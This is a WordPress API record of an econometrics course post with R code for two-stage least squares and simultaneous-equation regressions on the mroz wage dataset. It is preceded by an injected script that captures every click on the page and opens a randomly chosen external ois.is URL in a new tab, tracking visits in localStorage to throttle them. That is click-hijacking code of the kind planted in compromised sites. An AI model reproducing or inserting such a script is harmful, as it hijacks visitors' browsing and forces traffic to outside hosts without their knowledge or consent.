<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1032,"date":"2022-12-30T22:26:14","date_gmt":"2022-12-30T14:26:14","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1032"},"modified":"2023-10-16T21:40:36","modified_gmt":"2023-10-16T13:40:36","slug":"221222-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1032","title":{"rendered":"221222 \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p>library(AER)<br \/>\ndata(mroz, package=&#8217;wooldridge&#8217;)<br \/>\noursample &lt;- subset(mroz,!is.na(wage))<br \/>\nHR0 &lt;- lm(hours~log(wage)+educ+age+kidslt6+nwifeinc, data=oursample)<br \/>\nWage0 &lt;- lm(log(wage)~hours+educ+exper+I(exper^2), data=oursample)<\/p>\n<p>&nbsp;<\/p>\n<p># 2SLS regressions<br \/>\nHR &lt;- ivreg(hours~log(wage)+educ+age+kidslt6+nwifeinc<br \/>\n|educ+age+kidslt6+nwifeinc+exper+I(exper^2), data=oursample)<br \/>\nWage &lt;- ivreg(log(wage)~hours+educ+exper+I(exper^2)<br \/>\n|educ+age+kidslt6+nwifeinc+exper+I(exper^2), data=oursample)<\/p>\n<p>library(systemfit)<br \/>\n# Define system of equations and instruments<br \/>\neq.hrs &lt;- hours ~ log(wage)+educ+age+kidslt6+nwifeinc<br \/>\neq.wage &lt;- log(wage)~ hours +educ+exper+I(exper^2)<br \/>\neq.system&lt;- list(eq.hrs, eq.wage)<br \/>\ninstrum &lt;- ~educ+age+kidslt6+nwifeinc+exper+I(exper^2)<\/p>\n<p># 2SLS of whole system (run Example-16-5-systemfit-prep.R first!)<br \/>\nSEM &lt;- systemfit(eq.system,inst=instrum,data=oursample,method=&#8221;2SLS&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>library(stargazer)<br \/>\nstargazer(HR0,Wage0,HR,Wage,type=&#8221;text&#8221;,keep.stat=c(&#8220;n&#8221;,&#8221;rsq&#8221;))<br \/>\nsummary(SEM)<\/p>\n<hr \/>\n<a href=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/01\/WEEK15.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\"  data-toolbar=\"both\" data-toolbar-fixed=\"off\">WEEK15<br\/><\/a>\n","protected":false},"excerpt":{"rendered":"<p>library(AER) data(mroz, package=&#8217;w<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1032"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1032"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1032\/revisions"}],"predecessor-version":[{"id":1034,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1032\/revisions\/1034"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1032"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1032"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1032"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}